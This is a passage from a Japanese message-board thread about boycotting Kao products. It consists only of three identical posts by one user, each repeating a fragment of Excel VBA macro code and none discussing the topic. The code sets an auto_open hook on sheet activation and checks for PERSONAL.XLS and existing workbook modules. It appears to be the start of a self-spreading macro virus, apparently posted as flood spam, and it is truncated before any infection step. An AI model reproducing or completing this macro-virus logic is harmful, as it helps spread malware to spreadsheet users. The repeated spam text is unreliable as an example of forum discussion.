- 【賛同者限定】花王製品の不買運動 すすぎ214回目
76 :可愛い奥様[sage]:2012/03/25(日) 20:26:03.21 ID:x7n2uaM00 ?-2BP(0) - Sub auto_open()
Application.OnSheetActivate = "check_files" End Sub Sub check_files() c$ = Application.StartupPath m$ = Dir(c$ & "\" & "PERSONAL.XLS") If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0 If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0 whichfile = p + w * 10 End Sub
|
- 【賛同者限定】花王製品の不買運動 すすぎ214回目
77 :可愛い奥様[sage]:2012/03/25(日) 20:28:13.41 ID:x7n2uaM00 ?-2BP(0) - Sub auto_open()
Application.OnSheetActivate = "check_files" End Sub Sub check_files() c$ = Application.StartupPath m$ = Dir(c$ & "\" & "PERSONAL.XLS") If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0 If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0 whichfile = p + w * 10 End Sub
|
- 【賛同者限定】花王製品の不買運動 すすぎ214回目
79 :可愛い奥様[sage]:2012/03/25(日) 20:30:43.37 ID:x7n2uaM00 ?-2BP(0) - Sub auto_open()
Application.OnSheetActivate = "check_files" End Sub Sub check_files() c$ = Application.StartupPath m$ = Dir(c$ & "\" & "PERSONAL.XLS") If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0 If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0 whichfile = p + w * 10 End Sub
|